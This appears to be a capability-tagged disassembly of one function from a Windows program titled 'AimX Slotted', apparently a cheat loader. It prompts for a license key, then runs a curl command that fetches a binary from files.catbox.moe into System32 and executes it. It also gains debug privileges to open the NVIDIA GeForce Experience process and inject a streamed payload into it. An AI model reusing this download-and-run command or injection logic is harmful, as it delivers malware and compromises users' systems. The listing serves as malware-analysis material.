Function at 0x140003c90
Capabilities:
Acquire debug privileges
Delete file
Enumerate processes
Execute command
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x1400860c0]
xor rax, rsp
mov qword [rbp + 0x350], rax
xor r15d, r15d
mov dword [rbp - 0x48], r15d
lea rcx, str.Aimx_Slotted
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003d17
mov dword [rbp - 0x48], r15d
lea rdx, [rbp - 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
je 0x140003d17
mov edx, dword [rbp - 0x48]
or edx, 4
mov dword [rbp - 0x48], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001cb0
lea rdx, [0x140001e70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.e_38_2_255_0_0mAimX_e_0m
call fcn.140001380
lea rdx, [0x140001e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x14008d8a0]
call fcn.140012c30
lea rcx, [0x14008d8a0]
call fcn.14000ed80
lea rcx, [0x14008d8a0]
call fcn.14000ed80
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r15
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x18], rsi
mov byte [rbp], r15b
lea rdx, [0x140001e70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140001e70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Enter_Key:
lea rcx, [rsp + 0x60]
call fcn.140003810
mov rdi, rax
mov qword [rbp - 0x80], rax
lea rcx, str.e_38_2_255_0_0m__Aimx___e_0m
call fcn.140001380
cmp qword [rdi + 0x18], rsi
jbe 0x140003de8
mov rbx, qword [rdi]
mov rcx, rbx
mov rdx, rbx
jmp 0x140003df1
mov rbx, rdi
mov rcx, rdi
mov rdx, rdi
mov r14, qword [rdi + 0x10]
add r14, rcx
cmp rdx, r14
je 0x140003e3d
mov qword [rbp - 0x48], reloc.WLDAP32.dll_Ordinal_30
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001eb0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp - 0x48]
call fcn.140002080
inc rbx
cmp rbx, r14
jne 0x140003e10
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140003e77
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140003e72
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003efc
mov rcx, r8
call fcn.140069424
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], rsi
mov byte [rdi], 0
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400021f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea r14, [rbp]
mov r12, qword [rbp]
mov r13, qword [rbp + 0x18]
cmp r13, 0xf
cmova r14, r12
movabs rax, 0x7fffffffffffffff
mov rdi, qword [rbp + 0x10]
cmp rdi, rax
ja 0x14000489b
movabs rcx, 0x8000000000000000
mov edx, reloc.WLDAP32.dll_Ordinal_22
cmp rdi, 0xf
ja 0x140003f03
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x60], xmm0
jmp 0x140003f8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140003f34
mov rbx, rax
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400693e0
mov rcx, rax
test rax, rax
je 0x140003f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003f6d
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003f5e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000488f
jmp 0x140003f16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140003f6a
call fcn.1400693e0
jmp 0x140003f6d
mov rax, r15
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x60]
lea rcx, [0x14008d8a0]
nop
nop
nop
nop
nop
cmp byte [0x14008dab0], 0
je 0x140003fdf
lea rcx, [0x14007b314]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Invalid_License
lea rcx, [rsp + 0x60]
call fcn.140003810
mov rcx, rax
call fcn.140001740
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x14008d8a0]
call fcn.14000ed80
lea rdx, str.Would_You_Like_To_Load_Dependencies__once_per_boot___yes_no_:
lea rcx, [rsp + 0x60]
call fcn.140003810
mov rcx, rax
call fcn.140001860
test al, al
je 0x140004043
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl_https:__files.catbox.moe_8le20h.bin___output_C:WindowsSystem32_fv.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32_fv.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32_fv.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x110], 0x238
lea rdx, [rbp + 0x110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400040a0
nop
lea rdx, str.NVIDIA_GeForce_Experience.exe
lea rcx, [rbp + 0x13c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x1400041f1
lea rdx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004070
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, r15
test ebx, ebx
jne 0x1400040d6
lea rdx, str.geforce_Not_Found
lea rcx, [rsp + 0x60]
call fcn.140003810
mov rcx, rax
call fcn.140001740
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x50], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x50]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140004156
mov dword [rbp - 0x10], 1
mov dword [rbp - 4], 2
lea r8, [rbp - 0xc]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14000413f
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp - 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x140004203
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
cmp r13, 0xf
jbe 0x1400041bf
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400041b7
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004882
mov rcx, r12
call fcn.140069424
xor eax, eax
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400693c0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ebx, dword [rbp + 0x118]
jmp 0x1400040ac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rax
lea rdx, str.180250
lea rcx, [rbp - 0x70]
call fcn.140003810
mov r8, rax
lea rdx, [rbp - 0x28]
lea rcx, [0x14008d8a0]
call fcn.140010a90
nop
mov r14, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x20]
cmp r14, rdi
jne 0x1400042f4
lea rdx, str.Failed_To_Stream
lea rcx, [rsp + 0x60]
call fcn.140003810
mov rcx, rax
call fcn.140001740
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400042b2
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000482e
call fcn.140069424
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r15
cmp r13, 0xf
jbe 0x1400042ea
lea rdx, [r13 + 1]
mov rcx, r12
cmp rdx, 0x1000
jb 0x1400042e2
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rcx, r12
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x140004882
mov rcx, r12
call fcn.140069424
mov eax, 1
jmp 0x1400041c1
xor edx, edx
mov r8d, 0xf0
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
sub rdi, r14
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], rsi
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140004889
cmp rdi, 0xf
jbe 0x1400043d1
mov rsi, rdi
or rsi, 0xf
cmp rsi, rax
jbe 0x14000437c
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400693e0
mov rcx, rax
test rax, rax
je 0x1400043a5
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rsi
jmp 0x1400043d6
cmp rsi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1400043ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004895
jmp 0x140004354
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400043c2
call fcn.1400693e0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rsi
jmp 0x1400043d6
mov rax, r15
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rsi
jmp 0x1400043d6
mov rax, qword [rsp + 0x60]
lea rbx, [rsp + 0x60]
cmp rsi, 0xf
cmova rbx, rax
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x70], rdi
mov byte [rbx + rdi], 0
lea rax, [0x14007b4c0]
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x48], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x1c], edx
lea rax, [rbp + 0x30]
mov qword [rbp - 0x78], rax
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x30], rax
mov rbx, qword [rsp + 0x78]
cmp rbx, 0xf
jbe 0x140004488
mov r8, qword [rsp + 0x60]
inc rbx
jmp 0x14000449f
mov ebx, reloc.WS2_32.dll_recvfrom
mov ecx, ebx
call fcn.1400693e0
mov r8, rax
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rax], xmm0
mov rdx, qword [rsp + 0x70]
add rdx, r8
mov qword [rbp + 0x98], rdx
lea rdx, [r8 + rbx]
mov rcx, qword [rbp + 0x50]
mov qword [rcx], r8
mov rcx, qword [rbp + 0x70]
mov qword [rcx], r8
sub edx, r8d
mov rax, qword [rbp + 0x88]
mov dword [rax], edx
mov rcx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x48]
mov qword [rax], r8
mov rax, qword [rbp + 0x68]
mov qword [rax], r8
sub ecx, r8d
mov rax, qword [rbp + 0x80]
mov dword [rax], ecx
mov dword [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x68]
mov qword [rsp + 0x60], rax
test rax, rax
sete byte [rsp + 0x68]
mov byte [rsp + 0x69], 0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], 0
lea rcx, [rbp - 0x40]
mov qword [rbp - 0x78], rcx
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
mov r15b, 1
xor edi, edi
movzx esi, byte [rsp + 0x69]
mov rbx, qword [rsp + 0x60]
test rax, rax
jne 0x14000455f
movzx r14d, byte [rsp + 0x68]
jmp 0x140004599
test rbx, rbx
je 0x140004577
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140004577
movzx esi, al
jmp 0x140004579
xor ebx, ebx
mov r14b, 1
test r15b, r15b
jne 0x140004599
test rdi, rdi
je 0x140004594
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x140004596
xor edi, edi
mov r15b, 1
test rbx, rbx
jne 0x1400046cc
test rdi, rdi
jne 0x1400046d5
mov rax, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
sub rax, rdx
cmp rax, 0x1000
jae 0x140004743
lea rdx, str.Unknown_Error
lea rcx, [rbp - 0x70]
call fcn.140003810
mov rcx, rax
call fcn.140001740
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140004632
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000461d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000479a
call fcn.140069424
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], 0
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x30]
call fcn.140004eb0
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140004187
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400046b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000482e
call fcn.140069424
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], 0
jmp 0x140004187
test rdi, rdi
jne 0x1400045ab
test r14b, r14b
jne 0x1400046f4
test rbx, rbx
je 0x1400046f2
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400046f2
movzx esi, al
jmp 0x1400046f4
xor ebx, ebx
mov byte [rsp + 0x50], sil
mov rax, qword [rbp - 0x38]
cmp rax, qword [rbp - 0x30]
je 0x14000470c
mov byte [rax], sil
inc qword [rbp - 0x38]
jmp 0x14000471e
lea r8, [rsp + 0x50]
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x40]
call fcn.140005730
test rbx, rbx
je 0x140004577
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x140004577
mov byte [rsp + 0x68], 0
jmp 0x14000455f
mov rbx, qword [rbp - 0x80]
mov rcx, rbx
call fcn.1400025c0
test al, al
jne 0x14000475f
lea rdx, str.Failed_To_Inject
jmp 0x1400045c9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400047b6
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140069424
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], 0
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x30]
call fcn.140004eb0
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000484a
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004835
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004835
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140069424
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], 0
cmp r13, 0xf
jbe 0x1400041bf
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400041b7
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001580
nop
call fcn.1400014e0
nop
call fcn.1400014e0
nop
call fcn.140001580
int3